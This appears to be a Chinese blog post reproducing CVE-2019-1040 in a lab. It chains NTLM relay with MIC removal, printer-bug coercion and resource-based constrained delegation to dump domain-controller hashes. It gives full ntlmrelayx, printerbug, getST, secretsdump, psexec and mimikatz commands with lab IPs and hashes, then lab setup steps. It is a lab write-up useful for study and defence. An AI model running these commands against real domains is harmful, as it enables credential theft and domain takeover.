CVE-2019-1040 - 基于资源的约束委派攻击域控

环境说明

attack: ubuntu - 192.168.171.128
pc:     win7 (PC)  - 192.168.171.136
dc:     win12 (WIN-13EOVKAINO5) - 192.168.171.134
sdc:    win12 (sdc-win12) - 192.168.171.135

攻击复现

有时候会遇上无法创建新的计算机帐户,可能maq为0,或者没有开启ldaps,这个时候可以利用域内已有的计算机账号进行攻击。

maq (MachineAccountQuota)是一个域级别属性,默认情况下可以允许非特权用户将主机连接到活动目录(AD)域,能连接的主机数最多不超过10台。也就是用户能将计算机(不超过10台)加入域。

下载impacketkrbrelayx

开启中继:

python ntlmrelayx.py -t ldap://[主域控ip] --delegate-access --escalate-user [机器名用户] --remove-mic --no-dump -smb2support

python ntlmrelayx.py -t ldap://192.168.171.134 --delegate-access --escalate-user PC\$ --remove-mic --no-dump -smb2support

使用spoolsample漏洞,让域控访问中继服务:

python printerbug.py [域控名]/[用户名]@[副域控ip] [attack ip]

python printerbug.py 0kee.com/test@192.168.171.135 192.168.171.128

添加资源委派约束:

在pc机器上利用mimikatz获取到PC$的ntlm hash:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

将域控cifs服务委派给PC$

python getST.py [域控名]/[机器名用户] -spn cifs/[辅助域控,一定要以域名形式填写,记得绑定host] -dc-ip [主域控] -hashes [机器名用户hash] -impersonate administrator

python getST.py 0kee.com/PC\$ -spn cifs/sdc-win12.0kee.com -dc-ip 192.168.171.134 -hashes 00000000000000000000000000000000:bbde0feb88c53a65e0175a14d0493c7a -impersonate administrator

secretsdump.py -dc-ip [主域控ip] -k -no-pass [副域控名] -just-dc-user administrator

export KRB5CCNAME=administrator.ccache
secretsdump.py -dc-ip 192.168.171.134 -k -no-pass sdc-win12.0kee.com -just-dc-user administrator

通过psexec链接域控:

python psexec.py administrator@192.168.171.134 -no-pass -dc-ip 192.168.171.134 -hashes aad3b435b51404eeaad3b435b51404ee:fc399a24a9e4aa5f2e574e013f089088


当然也可以不指定,这样将会添加一个机器名用户,但是需要域控开启ldaps,而且maq不能为0。

添加新的computer账号

python ntlmrelayx.py -t ldaps://WIN-13EOVKAINO5.0kee.com --delegate-access --remove-mic -smb2support

python printerbug.py 0kee.com/test@192.168.171.135 192.168.171.128

可以看到新添加成功:

username: MJZCCZGP$ and password: |!2-PBLsK`cttPr

把服务委派到新建的账号

python getST.py -dc-ip 192.168.171.134 -spn cifs/sdc-win12.0kee.com '0kee.com/MJZCCZGP$:|!2-PBLsK`cttPr' -impersonate administrator

export KRB5CCNAME=administrator.ccache
secretsdump.py -dc-ip 192.168.171.134 -k -no-pass sdc-win12.0kee.com -just-dc-user administrator

最后一样能够获取到域控的hash

环境搭建

参考链接:

1、主域控 - win12:
打开服务器管理器,点击添加功能和角色,选择dns服务和active Directory域服务,便直接进行安装。

安装后将服务器提升为域控。

添加新林。

再配置一个ldaps(如果不想添加计算机用户就可以不配置): 参考文章

这里面有些细节要注意:

第一个要注意的就是request.inf中Subject = "CN=ACTIVE_DIRECTORY_FQDN"ACTIVE_DIRECTORY_FQDN需要改为域控的FQDN,即WIN-13EOVKAINO5.0kee.com

第二个运行certlm才是证书管理,需要把ca证书导入到受信任的根证书列表

第三个ldp进行连接的时候,是以域名连接才会进入SSL证书

2、辅助域控
因为vm是用一个模板克隆的,会出现虚拟机都有一样的sid用户,所以需要用C:\Windows\System32\Sysprep\sysprep.exe来清理一下,需要勾选通用

加入域

域管登陆sdc
再次打开服务器管理器,点击添加功能和角色,这次只需要安装active Directory域服务即可。

安装完后把它加入现有域:

打printbug时候出现了impacket.smbconnection.SessionError: SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)问题。

可能是spoolss管道未开启,可以通过pipelist查看机器的管道。

开启也比较简单,再这里添加一个打印机就好,选择不需要打印机再列表中,然后进行自定义添加,添加一个不存在的也行。

posted @ 2019-09-11 15:58  l3m0n  阅读(293)  评论(0编辑  收藏  举报